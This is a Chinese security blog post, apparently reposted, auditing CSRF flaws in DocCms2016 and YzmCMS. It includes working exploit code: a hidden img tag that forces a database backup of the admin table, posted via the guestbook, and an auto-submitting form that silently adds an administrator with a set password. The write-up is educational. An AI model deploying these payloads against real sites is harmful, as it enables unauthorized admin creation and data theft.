代码审计两个简单的CSRF漏洞实例
Posted Bypass
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了代码审计两个简单的CSRF漏洞实例相关的知识,希望对你有一定的参考价值。
CSRF(Cross-site request forgery)跨站请求伪造,通过伪装来自受信任用户的请求来利用受信任的网站,这边分享两个漏洞代码示例。
环境搭建:
DocCms官网:http://www.doccms.com
程序源码:DocCms2016
代码分析:
在\doccms\admini\controllers\system\back.php中,
export函数直接对提交上来的参数tables/sizelimit进行处理,导出sql备份文件,未对访问来源进行有效验证,导致数据库备份模块存在CSRF漏洞。
漏洞利用:
1、构造CSRF漏洞利用代码,只备份管理员用户表doc_user:
<H2> CRSFTester</H2>
<img src=
"http://127.0.0.1:80/admini/index.php?m=system&s=bakup&a=export&tables[]=doc_user&sizelimit=2048&dosubmit=开始备份数据"
width=
"0"
height=
"0"
border=
"0"
/>
2、在网站首页在线留言提交CSRF漏洞利用代码:
3、当管理员在后台查看留言信息时,自动备份数据库到/doccms/temp/data目录下:
环境搭建:
YzmCMS官网:http://www.yzmcms.com
程序源码下载:http://pan.baidu.com/s/1pKA4u99
代码分析:
漏洞文件位置: /application/admin/controller/admin_manage.class.php第35-59行中:
这段函数中进行添加管理员操作,只进行管理员身份验证,未对访问来源进行识别,导致程序在实现上存在CSRF漏洞。
漏洞利用:
1、构造CSRF漏洞利用代码如下:
1. <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
2.
3. <html>
4. <head>
5. <title>OWASP CRSFTester Demonstration</title>
6. </head>
7. <body onload="javascript:fireForms()">
8. <script language="JavaScript">
9. var pauses = new Array( "68" );
10.
11. function pausecomp(millis)
12. {
13. var date = new Date();
14. var curDate = null;
15.
16. do { curDate = new Date(); }
17. while(curDate-date < millis);
18. }
19.
20. function fireForms()
21. {
22. var count = 1;
23. var i=0;
24.
25. for(i=0; i<count; i++)
26. {
27. document.forms[i].submit();
28.
29. pausecomp(pauses[i]);
30. }
31. }
32.
33. </script>
34. <H2>OWASP CRSFTester Demonstration</H2>
35. <form method="POST" name="form0" action="http://127.0.0.1:80/admin/admin_manage/add.html">
36. <input type="hidden" name="adminname" value="admin"/>
37. <input type="hidden" name="password" value="abc123!"/>
38. <input type="hidden" name="password2" value="abc123!"/>
39. <input type="hidden" name="email" value=""/>
40. <input type="hidden" name="realname" value=""/>
41. <input type="hidden" name="roleid" value="1"/>
42. <input type="hidden" name="dosubmit" value="1"/>
43. </form>
44. </body>
45. </html>
2、当管理员浏览该页面时,自动创建管理员账号admin
3、利用admin账号可成功登录后台进行任意操作。
不少CMS缺少对代码安全的考虑,CSRF仍然是一个普遍存在的安全问题。一些企业网站类型的CMS,利用CSRF备份数据、添加管理员等操作,都是很常见的漏洞场景。
Bypass
About Me
一个网络安全爱好者,对技术有着偏执狂一样的追求。致力于分享原创高质量干货,包括但不限于:渗透测试、WAF绕过、代码审计、安全运维。
以上是关于代码审计两个简单的CSRF漏洞实例的主要内容,如果未能解决你的问题,请参考以下文章